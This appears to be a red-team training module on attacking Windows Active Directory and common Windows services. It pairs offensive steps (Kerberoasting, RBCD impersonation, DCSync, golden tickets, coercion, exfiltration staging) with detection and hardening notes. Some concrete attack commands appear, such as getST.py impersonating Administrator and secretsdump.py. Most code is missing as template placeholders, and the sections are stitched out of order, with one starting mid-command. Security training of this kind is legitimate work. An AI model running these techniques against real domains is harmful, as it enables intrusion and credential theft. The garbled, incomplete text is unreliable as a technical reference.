Why: Anonymous LDAP binds allow unauthenticated enumeration of users, groups, computers, and GPOs — a massive information leak on legacy or misconfigured DCs. Unsigned LDAP opens the relay attack path: see AI5 Phase 2 for the full unauthenticated LDAP/SMB/MSRPC enumeration workflow, and AI7 for LDAP relay chains.

Common Misconfigurations:

• Anonymous bind enabled → unauthenticated user/group/computer enumeration
• Unsigned LDAP allowed → LDAP relay vector (NTLM challenge can be relayed to LDAP for account modification)
• LDAPS not enforced → credentials transmitted in plaintext on port 389 in transit
• LDAP referrals → can leak internal topology to querying clients

Defender Block:

• Event IDs: 2889 (unsigned LDAP bind performed — critical, enable via Domain Controller: LDAP server signing requirements = Require signing), 2886 (DC does not require LDAP signing — configuration warning), 2888 (LDAP client performed unsigned bind — client-side warning), 4624 Logon Type 3 with Username ANONYMOUS LOGON (anonymous LDAP bind event)
• Sigma hint: Any occurrence of EID 2889 = an unsigned LDAP bind happened; should be zero in a hardened environment — alert on every single occurrence
• Hardening: Set Domain Controller: LDAP server signing requirements = Require signing via GPO, enable LDAP Channel Binding (Domain controller: LDAP server channel binding token requirements = Always), disable anonymous LDAP bind (set dsHeuristics bit 7 to 0), enforce LDAPS-only where possible

OPSEC: Anonymous LDAP binds generate EID 4624 ANONYMOUS LOGON — common in legacy environments but visible. Authenticated LDAP queries blend into normal AD traffic, but high-volume queries (ldapdomaindump runs ~1,000+ queries) create anomalous query spikes detectable by LDAP query rate monitoring.

Cross-reference: AI5 Phase 2 has the full unauthenticated LDAP/SMB/MSRPC enumeration workflow.

Phase 8 — Kerberos (TCP/UDP 88)

Kerberos is the primary authentication protocol in Active Directory — ticket-based, no password retransmission. Port 88 handles TGT and TGS requests. It is one of the most attack-rich protocols in an AD environment. This phase is a quick-reference summary — full attack chains, delegation abuse, and ticket forgery are covered in AI6.

{{CODE_BLOCK_48}}

Why: AS-REP roasting targets accounts with pre-authentication disabled — no credentials required. Kerberoasting targets service accounts with SPNs and requests their TGS tickets as any authenticated user — the ticket is encrypted with the service account's password hash, crackable offline. Both attacks leave minimal footprints at the time of execution but are detectable via Event IDs.

Attack Path Summary (quick-reference — see AI6 for full chains):

• AS-REP Roasting → crack offline → plaintext password
• Kerberoasting → crack TGS offline → service account plaintext
• Unconstrained Delegation → coerce DC authentication → capture TGT → pass-the-ticket
• Constrained Delegation (S4U2Proxy) → forge service tickets for specific targets
• RBCD (Resource-Based Constrained Delegation) → write msDS-AllowedToActOnBehalfOfOtherIdentity → full impersonation
• Pass-the-Ticket / Overpass-the-Hash → inject existing tickets into session
• Golden Ticket → forge TGTs using krbtgt hash — persistent domain access
• Silver Ticket → forge TGS using service account hash — access specific service

Full Kerberos attack chains (delegation abuse, pass-the-ticket, golden/silver ticket, and PKINIT) are covered in AI6.

Defender Block:

• Event IDs: 4768 (TGT request — monitor for EncryptionType 0x17 = RC4, indicates AS-REP or weak encryption), 4769 (TGS request — EncryptionType 0x17 = RC4 = Kerberoast target service account), 4771 (Kerberos pre-auth failure — AS-REP roasting attempts), 4672 (special privileges assigned at logon — possible golden ticket use: DC-level logon with suspicious privilege set)
• Sigma hint: EID 4769 with TicketEncryptionType = 0x17 (RC4) AND ServiceName not equal to krbtgt = Kerberoasting request; burst of these = mass Kerberoast sweep
• Hardening: Set msDS-SupportedEncryptionTypes to AES-only on all service accounts (removes RC4 fallback), require pre-authentication on all user accounts, use Group Managed Service Accounts (gMSA) for service accounts, audit SPNs regularly for stale or unnecessary entries

OPSEC: Kerberoasting generates EID 4769 per SPN queried — requesting many TGS tickets in a short window is the primary detection signal. AS-REP roasting generates EID 4768/4771. Golden tickets bypass the DC entirely — no logon events generated on the DC itself, making real-time detection extremely difficult without behavioral analytics.

Phase 9 — MSRPC / RPC (TCP 135, dynamic 49152–65535)

MSRPC (Microsoft Remote Procedure Call) is the foundational transport layer for Windows distributed services — DCOM, WMI, scheduled tasks, print spooler, and many more all communicate over dynamic RPC ports. Port 135 is the endpoint mapper. Enumerating registered endpoints exposes the full attack surface, and several RPC interfaces enable forced authentication coercion.

{{CODE_BLOCK_49}}

Why: RPC endpoint enumeration reveals which services are listening on the target and which coercion vectors are available. MS-RPRN (Print Spooler) on a Domain Controller is the most high-value finding — it forces DC-to-attacker authentication on command, enabling NTLM relay or credential capture (see AI7). See AI5 Phase 2 for the null session RPC enumeration workflow.

Common Misconfigurations:

• Print Spooler enabled on DCs → MS-RPRN coercion → forced DC NTLM authentication to attacker (see AI7 for relay)
• DCOM enabled without access controls → lateral movement via DCOM execution
• TCP 135 accessible from untrusted networks → endpoint mapper queries from internet
• Null sessions via RPC allowed → user/group enumeration (see AI5 Phase 2)

Defender Block:

• Event IDs: 4688 (DCOM-spawned child processes — process creation under DCOM host), 10016 in Microsoft-Windows-DistributedCOM (DCOM permission error — indicates attempted DCOM instantiation without permission), 4624 (authentication events from RPC/DCOM operations), Windows Firewall logs for inbound TCP 135 from unexpected sources
• Sigma hint: EID 10016 with ProcessName containing unexpected applications or from unusual source IPs = DCOM abuse attempt; 4688 with ParentProcessName = mmc.exe or svchost.exe (DCOM host) spawning shells
• Hardening: Disable Print Spooler on all DCs and non-print servers (Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), restrict DCOM permissions via DCOMCNFG (Component Services), block TCP 135 at perimeter firewall, disable null sessions via RPC (RestrictAnonymous = 1)

OPSEC: impacket-rpcdump against a DC generates normal-looking RPC traffic — very low signal on its own. Coercion via MS-RPRN forces the DC to authenticate outward to the attacker — the event (EID 4624) appears on the attacker's system, not the DC, making it difficult to detect from the DC side alone. DCOM execution creates child processes under DCOM host — higher signal than WMI.

Phase 10 — SNMP (UDP 161, 162)

SNMP (Simple Network Management Protocol) is a monitoring and management protocol running over UDP. When enabled on Windows hosts with default community strings, it exposes the full system profile — running processes, installed software, network interfaces, routing tables, and open connections — without authentication.

{{CODE_BLOCK_50}}

Why: SNMP with the default public community string gives unauthenticated read access to the full system MIB — running processes, installed software, network config, and ARP cache. This provides rich recon data (identify security tools, find internal subnets, enumerate installed services) with a single UDP connection. SNMPv1/v2c transmit community strings in plaintext — capturable on the wire.

Common Misconfigurations:

• Default public/private community strings → unauthenticated full system access
• SNMPv1/v2c instead of SNMPv3 → no authentication or encryption — community string transmitted in plaintext
• SNMP enabled on all Windows hosts → exposes process list, installed software, and network config
• Write-enabled community string → potential configuration change (rare but possible)

Defender Block:

• Note: SNMP queries use stateless UDP — there are no native Windows Event IDs for SNMP queries by default
• Detection: Network IDS/IPS rules for high-volume SNMP from a single source, NetFlow/packet capture analysis for UDP 161 sweeps across subnet
• Sigma hint (Suricata/Snort): alert udp any any -> $HOME_NET 161 (msg:"SNMP community string brute force"; threshold: type both, track by_src, count 20, seconds 10; sid:1000001;) — detect rapid SNMP queries from single source
• Hardening: Disable SNMP service if not required (Stop-Service SNMP; Set-Service SNMP -StartupType Disabled), upgrade to SNMPv3 (authentication + encryption), change all default community strings, restrict SNMP access to monitoring systems via Windows Firewall ACL

OPSEC: SNMP MIB walks are UDP — no TCP handshake, no connection log entry, no Windows Event ID. Difficult to detect without network-layer visibility (flow data, IDS). However, a full MIB walk to a host that doesn't normally receive SNMP queries is anomalous on a flow collector baseline. If SNMPv3 is deployed, community string attacks are not applicable.

Phase 11 — FTP / TFTP (TCP 21, UDP 69)

FTP (File Transfer Protocol) and TFTP (Trivial FTP) are legacy file transfer services still common on Windows — IIS ships with an FTP role, and TFTP is used for PXE booting and network device management. Both services frequently have anonymous access enabled and transmit credentials in cleartext.

{{CODE_BLOCK_51}}

Why: Anonymous FTP provides unauthenticated file read/write to whatever directory the FTP root points to — if misconfigured to overlap with a web root or sensitive share, this is a direct path to credential files or code execution. TFTP's complete lack of authentication makes it trivially abusable for grabbing any file by name if enabled.

Common Misconfigurations:

• Anonymous FTP login enabled → unauthenticated file access to FTP root directory
• FTP root pointed at sensitive directories → direct access to web root, configuration files, or credentials
• TFTP enabled without authentication → any file accessible by name with no auth required
• FTP over plaintext (no FTPS) → credentials transmitted in cleartext — capturable on the wire
• IIS FTP with weak credentials → brute-forceable with no lockout by default

Defender Block:

• Event IDs: 4624 Logon Type 3 (FTP authentication via Windows auth), 4625 Logon Type 3 (failed FTP auth), IIS FTP logs at C:\inetpub\logs\LogFiles\FTPSVC* (full request/response logging), 4663 (file access audit on FTP root if SACL configured)
• Sigma hint: EID 4624 Logon Type 3 with SubjectUserName anonymous or ftp + subsequent 4663 file access events from FTP root path = anonymous FTP access and file retrieval
• Hardening: Disable FTP/TFTP if not required (Remove-WindowsFeature Web-Ftp-Server), enforce FTPS (explicit TLS via STARTTLS on port 21, or implicit TLS on port 990), disable anonymous login, use SFTP (SSH) as a modern alternative, isolate FTP root from system/sensitive directories

OPSEC: Anonymous FTP login generates EID 4624 Logon Type 3 with ANONYMOUS LOGON — same as null session SMB, easily detected. TFTP is UDP with no authentication events whatsoever — completely invisible in Windows event logs, only detectable at the network layer (packet capture or flow analysis).

Phase 12 — Print Spooler (TCP 445 / RPC)

The Print Spooler service (spoolsv.exe) runs on all Windows systems by default. It is exposed via SMB named pipes and RPC interfaces (MS-RPRN, MS-PAR). It is one of the most consequential Windows services from an attack perspective: PrintNightmare enables SYSTEM-level RCE, and MS-RPRN coercion forces Domain Controllers to authenticate outbound on command — a prerequisite for many NTLM relay and Kerberos delegation attacks.

{{CODE_BLOCK_52}}

Why: MS-RPRN coercion does NOT require PrintNightmare to be unpatched — any Windows host running the Print Spooler with port 445 reachable is susceptible to forced authentication. When the DC is coerced, it authenticates to the attacker as the DC's machine account — which can be relayed to LDAP to add a RBCD entry or to other services for lateral movement. See AI7 for the full coercion → relay chain.

Common Misconfigurations:

• Print Spooler enabled on Domain Controllers → MS-RPRN coercion → forced DC authentication → NTLM relay or Kerberos delegation abuse (see AI7)
• Print Spooler enabled on non-print servers → unnecessary attack surface
• Unrestricted Point-and-Print policy → non-admin users can install print drivers → PrintNightmare privilege escalation path
• No KB5005652 patch applied → PrintNightmare (CVE-2021-34527) unpatched

Defender Block:

• Event IDs: 316 in Microsoft-Windows-PrintService/Admin (Print Spooler loaded a plug-in — critical: monitor for unexpected PluginDll paths), 808 in Microsoft-Windows-PrintService/Admin (Spooler RPC connection accepted), 7031 in System log (Print Spooler service terminated unexpectedly — possible exploit crash), 4688 with ParentProcessName = spoolsv.exe (process spawned by spooler — PrintNightmare/SpoolFool indicator)
• Sigma hint: EID 316 with PluginDll path not matching known printer driver directories (C:\Windows\System32\spool\DRIVERS\*) = malicious driver installation via PrintNightmare; 4688 with ParentProcessName = spoolsv.exe spawning cmd.exe or powershell.exe = active exploitation
• Hardening: Disable Print Spooler on all DCs and non-print servers (Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), apply KB5005652 (PrintNightmare patch), set Point-and-Print restrictions to only approved print servers via GPO (Computer Configuration → Policies → Administrative Templates → Printers → Point and Print Restrictions), block outbound SMB from DCs to non-DC hosts at the perimeter

OPSEC: MS-RPRN coercion is quiet from the target's perspective — the DC simply makes an outbound SMB connection that gets logged on the attacker's system (EID 4624), not the DC. PrintNightmare exploitation generates EID 316 with a suspicious DLL path — loud and detectable. Coercion-only attacks (no PrintNightmare) leave minimal trace on the target beyond the outbound connection.

Resources

Ranked View — Best Repositories by Skill Level

Curated Windows Repository Comparison

Recommended Mapping to This Article

Part of the [Red Teaming 101](0 README.md) series.

Appendix — Attack vector catalog (from former 2.1)

2.1 Windows Active Directory — Attack Vectors & Paths

Scope: This document covers how attackers identify, enumerate, and abuse misconfigurations and design weaknesses in Windows Active Directory environments. Each section follows the pattern: What it is → How attackers spot it → How they abuse it.

Table of Contents

1. Reconnaissance & Enumeration
2. Credential-Based Attacks
3. Kerberos Abuse
4. ACL / ACE Abuse
5. Active Directory Certificate Services (AD CS)
6. Group Policy Abuse
7. Lateral Movement via Windows Services
8. Domain Persistence
9. Trust Relationship Abuse
10. Common Attack Chains (Full Paths)

1. Reconnaissance & Enumeration

What It Is

Before attacking, adversaries need to understand the AD environment — domain structure, users, groups, computers, GPOs, trusts, and service accounts.

How Attackers Spot the Opportunity

AD exposes a massive amount of information to any authenticated domain user by default. LDAP queries require no special privileges, and most environments leave default read permissions in place.

Common enumeration techniques:

LDAP Enumeration

BloodHound / SharpHound — Maps the entire AD graph, including attack paths to Domain Admin:

PowerView

How They Abuse It

Enumeration feeds every subsequent attack. The output of BloodHound directly answers: "What is the shortest path from my current user to Domain Admin?" Attackers use it to:

• Identify Kerberoastable / ASREPRoastable accounts
• Find users with DCSync rights
• Find paths via ACL misconfigurations
• Locate computers where high-value sessions exist

2. Credential-Based Attacks

2.1 Password Spraying

What it is: Testing one or a few common passwords across many accounts to avoid lockout.

How attackers spot it: Any list of valid usernames (from LDAP enum, LinkedIn, email format guessing) combined with a weak password policy.

How they abuse it:
{{CODE_BLOCK_56}}
Detection bypass: Stay at 1 attempt per account per 30 minutes. Check the domain's lockoutThreshold via net accounts /domain.

2.2 NTLM Hash Capture & Relay

What it is: Capturing NTLMv2 challenge-response hashes in transit and either cracking them offline or relaying them to authenticate elsewhere.

How attackers spot it:

• LLMNR / NBT-NS still enabled (default on older Windows)
• SMB signing not required (check with nmap --script smb-security-mode)
• NTLM still enabled network-wide

How they abuse it:

2.3 Pass-the-Hash (PtH)

What it is: Using an NTLM hash directly to authenticate without knowing the plaintext password.

How attackers spot it: Dump hashes from SAM, LSASS, or NTDS.dit. PtH works on any host where that account has access as long as it's a local or domain account.

How they abuse it:

2.4 Pass-the-Ticket (PtT)

What it is: Stealing a valid Kerberos ticket (TGT or TGS) from memory and injecting it to authenticate as that user.

How attackers spot it: Any user is logged in somewhere. If an attacker has SYSTEM on that machine, they can dump tickets.

How they abuse it:

3. Kerberos Abuse

3.1 Kerberoasting

What it is: Any domain user can request a service ticket (TGS) for any account with a Service Principal Name (SPN). That ticket is encrypted with the service account's NTLM hash — attackable offline.

How attackers spot it:
{{CODE_BLOCK_60}}
High-value targets: accounts with SPN set AND high privileges (e.g., svc_sql, svc_backup).

How they abuse it:
{{CODE_BLOCK_61}}
Why it matters: Service accounts often have weak passwords set years ago and never rotated. Cracking gives a valid domain credential — sometimes with admin rights.

3.2 AS-REP Roasting

What it is: Accounts with "Do not require Kerberos preauthentication" enabled send an AS-REP encrypted with their password hash — without the attacker needing to authenticate first.

How attackers spot it:

How they abuse it:

3.3 Golden Ticket

What it is: A forged TGT signed with the KRBTGT account's hash. Valid for any user, any service, any machine — essentially unlimited domain access.

How attackers spot the opportunity: After obtaining Domain Admin or DCSync rights, dump the KRBTGT hash.

How they abuse it:
{{CODE_BLOCK_64}}
Why it matters: Golden tickets can be set to expire in 10+ years and survive password resets of regular accounts (only KRBTGT reset kills them).

3.4 Silver Ticket

What it is: A forged TGS for a specific service signed with the service account's hash — bypasses the DC entirely.

How they abuse it:

3.5 Unconstrained Delegation

What it is: Computers/accounts configured with Unconstrained Delegation cache TGTs of every user who authenticates to them. An attacker with SYSTEM on such a host can steal those TGTs — including the DC's machine account TGT.

How attackers spot it:

How they abuse it (PrinterBug / SpoolSample):

3.6 Constrained Delegation Abuse

What it is: Accounts/computers allowed to delegate to specific services (S4U2Proxy). If an attacker controls the delegating account, they can impersonate any user to the allowed service.

How attackers spot it:

How they abuse it:

4. ACL / ACE Abuse

What It Is

Active Directory objects have Access Control Lists (ACLs) with Access Control Entries (ACEs). Misconfigurations allow low-privileged users to modify high-privileged objects — users, groups, GPOs, computers.

How Attackers Spot It

BloodHound is the primary tool — query: "Find Shortest Paths to Domain Admins". Common abusable ACEs:

How They Abuse It

Reset a user's password (ForceChangePassword):

Add self to a group (AddMember / GenericAll on group):

WriteDACL → grant self DCSync rights:

DCSync (once DCSync ACE is granted):

5. Active Directory Certificate Services (AD CS)

What It Is

AD CS issues X.509 certificates for authentication, encryption, and code signing. Certificate templates with weak settings are a direct path to credential theft and persistence.

ESC1 — Misconfigured Certificate Templates

How attackers spot it:
{{CODE_BLOCK_74}}
Look for templates where:

• CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set (requester controls the SAN)
• Client Authentication EKU is present
• Low-privileged users have Enroll rights

How they abuse it:

ESC8 — NTLM Relay to AD CS HTTP Enrollment

How attackers spot it: AD CS web enrollment endpoint (/certsrv) running over HTTP (no HTTPS required), combined with a coercion opportunity.

How they abuse it:

6. Group Policy Abuse

What It Is

Group Policy Objects (GPOs) control configuration across the domain. If an attacker can write to a GPO that applies to high-value machines or users, they can deploy malicious settings.

How Attackers Spot It

{{CODE_BLOCK_77}}

BloodHound: Query "Find GPO Objects Where Domain Users Can Modify"

How They Abuse It

{{CODE_BLOCK_78}}

7. Lateral Movement via Windows Services

7.1 WinRM / PowerShell Remoting

How attackers spot it:

How they abuse it:

7.2 WMI Lateral Movement

How attackers spot it: WMI is enabled by default. If an account has local admin, WMI is a valid remote execution path.

How they abuse it:

7.3 DCOM Lateral Movement

How attackers spot it: DCOM objects (MMC20, ShellWindows, ShellBrowserWindow) allow remote code execution when local admin access exists.

How they abuse it:

7.4 SCM / Remote Service Creation (PsExec-style)

How attackers spot it: SMB port 445 open, admin share (\\TARGET\ADMIN$) accessible, SMB signing off or credentials available.

How they abuse it:

8. Domain Persistence

8.1 DCSync (Simulated Domain Replication)

What it is: Any account with Replicating Directory Changes + Replicating Directory Changes All rights can pull password hashes from the DC via DRSUAPI — no shell on the DC needed.

{{CODE_BLOCK_84}}

8.2 AdminSDHolder Abuse

What it is: AdminSDHolder is a template object whose ACL is propagated to all protected groups (Domain Admins, etc.) by the SDProp process every 60 minutes.

How they abuse it: Write a malicious ACE to AdminSDHolder → it automatically propagates to protected groups.

8.3 DSRM Backdoor

What it is: The Directory Services Restore Mode (DSRM) account is a local admin on DCs that can be used even when the domain is down. Its hash can be configured to allow network logon.

{{CODE_BLOCK_86}}

8.4 Skeleton Key

What it is: A patch injected into LSASS on a DC that makes ANY account accept a master password (mimikatz by default) in addition to their real password. Does NOT survive reboots.

{{CODE_BLOCK_87}}

9. Trust Relationship Abuse

What It Is

Domain trusts allow users in one domain to access resources in another. Misconfigurations or design weaknesses allow attackers to escalate across domains or forests.

How Attackers Spot It

{{CODE_BLOCK_88}}

SID History Injection (Cross-Domain Privilege Escalation)

How they abuse it: If a bidirectional or outbound trust exists and SID filtering is disabled, inject a DA SID from the target domain into the SID History attribute of an account in the source domain.

10. Common Attack Chains (Full Paths)

Chain A: Standard User → Domain Admin via Kerberoasting

{{CODE_BLOCK_90}}

Chain B: Standard User → Domain Admin via ACL Abuse

{{CODE_BLOCK_91}}

Chain C: No Credentials → Domain Admin via AD CS (ESC8)

{{CODE_BLOCK_92}}

Chain D: Local Admin → Domain Admin via Unconstrained Delegation

{{CODE_BLOCK_93}}

Chain E: Standard User → Domain Admin via GPO Write

{{CODE_BLOCK_94}}

Quick Reference: Detection Artefacts

Tools Summary

Document: Red Teaming 101 — Module 2.1 | For authorized penetration testing and security research only.

-dc-ip 10.10.10.10

Step 4: S4U2Self + S4U2Proxy — impersonate Administrator on TARGET-PC

getST.py domain.local/evilpc$:EvilPass123! -spn cifs/TARGET-PC.domain.local -impersonate Administrator -dc-ip 10.10.10.10

Step 5: Use the service ticket

export KRB5CCNAME=Administrator.ccache
smbexec.py -k -no-pass domain.local/Administrator@TARGET-PC.domain.local
secretsdump.py -k -no-pass domain.local/Administrator@TARGET-PC.domain.local

{{CODE_BLOCK_25}}

**RBCD attack flow summary:**
{{CODE_BLOCK_26}}

> **When to use RBCD vs Shadow Credentials:** RBCD requires creating/controlling a machine account. Shadow Credentials require only `GenericWrite` on a user/computer object and leave less trace (no new machine account). Use Shadow Credentials when targeting users; use RBCD when you need code execution on a specific computer. Both bypass the need for password resets.

**Procedure — ADCS Certificate Abuse:**

{{CODE_BLOCK_27}}

**ESC Vulnerability Quick Reference:**

| ESC ID | Condition | Impact |
|---|---|---|
| ESC1 | Template allows SAN override + dangerous EKUs | Any user → Domain Admin cert |
| ESC2 | Any Purpose EKU or no EKU | Cert usable for any purpose |
| ESC3 | Enrollment Agent template | Enroll certs on behalf of any user |
| ESC4 | Weak template ACLs (GenericWrite) | Modify template → ESC1 |
| ESC6 | CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 | CA-level SAN override |
| ESC8 | ADCS Web Enrollment without EPA | NTLM relay → DC certificate |
| ESC13 | OID group link on template | Certificate grants group membership in PAC |

**Procedure — Domain Dominance (DCSync & Tickets):**

{{CODE_BLOCK_28}}

{{CODE_BLOCK_29}}

{{CODE_BLOCK_30}}

> **OPSEC:** DCSync is a high-fidelity alert in most SOCs (Event ID 4662). ACL modifications write to the AD database — always have a cleanup plan. Shadow Credentials are stealthier than password resets (no Event 4723) but write to `ms-DS-Key-Credential-Link`. Certificate abuse is often the least monitored path — CA logs are rarely reviewed in real time.

---

### ✦ Full Windows/AD Attack Chain `[Operator]`
Executing a complete engagement from initial Windows foothold through full AD compromise, maintaining OPSEC throughout.

> *What you're building:* A documented end-to-end kill chain from initial foothold to domain dominance, with cleanup steps for each phase. This is the mental model that ties all eight action items together.

**Tactic:** Full Kill Chain (Initial Access → Privilege Escalation → Credential Access → Lateral Movement → Persistence → Exfiltration)

**Technique:** Chained exploitation of Windows and Active Directory misconfigurations in a single cohesive engagement scenario

**Procedure:**
1. **Local Foothold:** Gain initial shell. Run AI1 Phases 1–4 manually. Identify `SeImpersonatePrivilege` or unquoted service paths.
2. **Local Escalation:** Escalate to SYSTEM via AI2 (potato attack or service binary). Dump credentials via AI3 (SAM + SYSTEM offline, or comsvcs.dll LSASS dump).
3. **Domain Entry:** Use harvested NT hash or cleartext to authenticate to the domain. Validate with `net user %USERNAME% /domain`. Begin AI5 manual enumeration — targeted PowerView queries, no SharpHound burst.
4. **Attack Path Selection:** Check in priority order: (a) AS-REP roast for quick hashes → (b) Kerberoasting service accounts → (c) ADCS with `certipy find -vulnerable` → (d) ACL paths via `Find-InterestingDomainAcl`. Take the path of least resistance.
5. **Domain Escalation:** Execute chosen path. ESC1/ESC8 certificates and DCSync are typically the cleanest paths to DA. Avoid `Add-DomainGroupMember` on Domain Admins directly — audited. Prefer shadow credentials or certificate-based escalation.
6. **Persistence:** Deploy Golden Ticket (offline, survives password changes until krbtgt reset twice) or forge a CA certificate. WMI subscription from AI4 for interactive access.
7. **Exfiltration:** Pull only the approved data set, stage it in a low-visibility path, compress and encrypt it, then move it over a trusted channel or existing enterprise sync path.
8. **Cleanup:** Revert ACL changes, delete temporary computer accounts (RBCD), revoke obtained certificates, remove scheduled tasks and WMI subscriptions, and remove staging artifacts only after receipt is verified. Document every action for the report.

#### Windows Exfiltration Workflow

> **Why here:** On Windows and AD engagements, exfiltration is part of the operator chain after privilege and objective access. It belongs inside the Windows/AD workflow because the files, channels, and DLP controls are OS- and environment-specific.

> **Related files:** C2 transfer paths are in 7. C2. Proxying and route control are in 4.1_Pivoting_and_Tunneling. Cloud-side storage tradecraft is in 5.1 AWS Attack Paths and 5.2 Azure Entra Attacks.

**1. Identify high-value files**

{{CODE_BLOCK_31}}

{{CODE_BLOCK_32}}

**2. Stage, compress, and encrypt**

{{CODE_BLOCK_33}}

**3. Transfer over an approved or trusted channel**

{{CODE_BLOCK_34}}

{{CODE_BLOCK_35}}

{{CODE_BLOCK_36}}

**4. DNS fallback for small, high-value data**

{{CODE_BLOCK_37}}

**5. DLP awareness and cleanup**

{{CODE_BLOCK_38}}

{{CODE_BLOCK_39}}

{{CODE_BLOCK_40}}

**Windows exfiltration rules**

- Check the RoE for data classification, mailbox content, credential material, and volume limits before staging anything.
- Prefer the existing C2 channel or a trusted enterprise sync path over brand-new outbound traffic.
- Use low-volume encrypted archives; avoid large raw copies and avoid clearing logs unless the engagement explicitly allows it.
- DNS exfil is a last resort for small files only; it is slow and high-entropy query patterns are easy to hunt.

**Common Windows/AD Service Ports:**

| Port | Service | Protocol |
|---|---|---|
| 53 | DNS | TCP/UDP |
| 88 | Kerberos | TCP/UDP |
| 135 | RPC Endpoint Mapper | TCP |
| 139/445 | SMB / NetBIOS | TCP |
| 389 | LDAP | TCP/UDP |
| 443 | HTTPS / ADCS Web Enrollment | TCP |
| 636 | LDAPS | TCP |
| 3268 | Global Catalog | TCP |
| 3389 | RDP | TCP |
| 5985/5986 | WinRM HTTP/HTTPS | TCP |

> **OPSEC:** The operator mindset is about choosing the path of least resistance. If a simple Kerberoast crack gets you DA, don't bother with coercion chains. If ESC1 is in scope, use it — quieter than DCSync and generates no replication events. Always assume you are being watched. Document every action for deconfliction and reporting.

---

### AI9 — Common Windows Services

> *What you're building:* A service-by-service attacker reference for the 12 most common Windows services — how to fingerprint them, enumerate misconfigurations, exploit them, and detect/harden them from the defender side.

> **BLUF:** Every Windows network runs the same dozen services. Know them cold — their ports, default misconfigurations, attack surface, and the Event IDs that expose you when you touch them. Attacker-primary, defender-aware.

| Service | Port(s) | Key Attack Path | Key Detection |
|---|---|---|---|
| SMB | 445, 139 | Null sessions, relay, named pipes | EID 4624 (T3), 5140, 5145 |
| RDP | 3389 | Spray, NLA-off exploit, session hijack | EID 1149, 4624 T10, 4778 |
| WinRM/WMI | 5985/5986, 135 | PS remoting, lateral movement | EID 4688 (wsmprovhost), 4648 |
| MSSQL | 1433 | xp_cmdshell, linked server, impersonation | EID 33205, 4688 |
| IIS | 80/443 | App pool identity, WebDAV, upload | EID 4688 (w3wp.exe), IIS logs |
| DNS | 53 | Zone transfer, ADIDNS poisoning | EID 770/771, DNS debug log |
| LDAP/LDAPS | 389/636/3268 | Anonymous bind, unsigned LDAP relay | EID 2889, 4624 anon |
| Kerberos | 88 | AS-REP roast, Kerberoast, delegation | EID 4768/4769 RC4 requests |
| MSRPC/RPC | 135/49xxx | DCOM abuse, MS-RPRN coercion | EID 4688, DCOM 10016 |
| SNMP | 161/162 | Default community string, MIB dump | Network IDS (no native EID) |
| FTP/TFTP | 21/69 | Anonymous login, credential sniffing | EID 4624/4625, FTP service log |
| Print Spooler | 445 | PrintNightmare, SpoolFool, coercion | EID 316, 808, 7031 |

---

#### Phase 1 — SMB (TCP 445, 139)

SMB (Server Message Block) is the backbone of Windows file sharing, named pipe communication, and lateral movement. It is **the** most-attacked Windows protocol — null sessions, relay attacks, named pipe abuse, and remote code execution all flow through port 445.

{{CODE_BLOCK_41}}

> *Why:* SMB exposes enormous attack surface even when patched — null sessions, SYSVOL credential scraping, and coercion attacks (see AI7 for full NTLM relay chain) are all possible via port 445 on a default Windows installation.

**Common Misconfigurations:**
- **SMB signing disabled** → NTLM relay attacks (see AI7 for full relay chain)
- **Null sessions allowed** → unauthenticated enumeration of users, groups, shares
- **SYSVOL GPO scripts with credentials** → plaintext cred exposure
- **SMBv1 enabled** → EternalBlue (MS17-010) exploitation
- **Named pipes accessible anonymously** → info disclosure via `IPC$`

**Defender Block:**
- **Event IDs:** 4624 Logon Type 3 (successful net logon), 4625 Logon Type 3 (failed net logon), 5140 (network share accessed), 5145 (network share object access check), 7045 (new service installed — possible PsExec/lateral movement)
- **Sigma hint:** EID 5145 with ObjectType matching `\*\IPC$` AND SubjectUserName `ANONYMOUS LOGON` → null session activity
- **Hardening:** `Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB1Protocol $false`, set registry `HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\RestrictNullSessAccess = 1`, block TCP 445/139 inbound at perimeter firewall

> **OPSEC:** `enum4linux-ng` and `nxc` subnet sweeps generate a burst of EID 4624/5140 events — detectable by volume alone. In monitored environments, use targeted `smbclient -L` or `rpcclient` single-host queries. SMB signing check via `nxc smb --gen-relay-list` is low-noise — just checking the handshake flag.

#### Phase 2 — RDP (TCP 3389)

RDP (Remote Desktop Protocol) is the primary remote GUI administration channel for Windows. It is heavily targeted for credential spray, session hijacking, and exploitation of NLA-disabled hosts. A single exposed RDP port on the internet is one of the most common ransomware initial access vectors.

{{CODE_BLOCK_42}}

> *Why:* RDP is both a rich attack surface and a critical detection signal — every logon Type 10 is logged. Session hijacking via `tscon` requires no password once you have SYSTEM. NLA-disabled hosts are directly vulnerable to pre-auth exploits and BlueKeep.

**Common Misconfigurations:**
- **NLA disabled** → pre-authentication vulnerability exposure (BlueKeep CVE-2019-0708, DejaBlue)
- **RDP internet-exposed with weak passwords** → spray and brute force primary ransomware initial access
- **Accessibility backdoor** (`sethc.exe`/`utilman.exe` swap) → pre-auth SYSTEM shell via Sticky Keys
- **Session hijack via `tscon`** → steal active admin sessions without credentials (SYSTEM required)
- **No RDP Gateway / firewall restriction** → direct internet attack surface

**Defender Block:**
- **Event IDs:** 4624 Logon Type 10 (RemoteInteractive — successful RDP logon), 4625 Logon Type 10 (failed RDP attempt), 4778 (session reconnected), 4779 (session disconnected), 1149 (TerminalServices pre-auth connection in `Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational`)
- **Sigma hint:** EID 1149 from non-RFC1918 source IP + burst of 4625 Type 10 within 60 seconds = RDP spray in progress
- **Hardening:** Enable NLA (`Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1`), restrict via firewall to VPN/jump host only, deploy RDP Gateway for external access, apply KB4499175 (BlueKeep patch), enforce tiered admin model — no DA accounts logging into workstations

> **OPSEC:** Every successful RDP logon generates EID 4624 Type 10 — highly visible and always logged. Session hijacking via `tscon` requires SYSTEM-level access first and generates no new logon event (you're stealing an existing session). BlueKeep exploit can BSOD the target on failure — never attempt against live production systems.

#### Phase 3 — WinRM / WMI (TCP 5985, 5986, 135)

WinRM (Windows Remote Management) provides PowerShell remoting over HTTP/HTTPS. WMI (Windows Management Instrumentation) on port 135 enables remote process execution and management queries. Both are legitimate admin channels abused heavily for lateral movement.

{{CODE_BLOCK_43}}

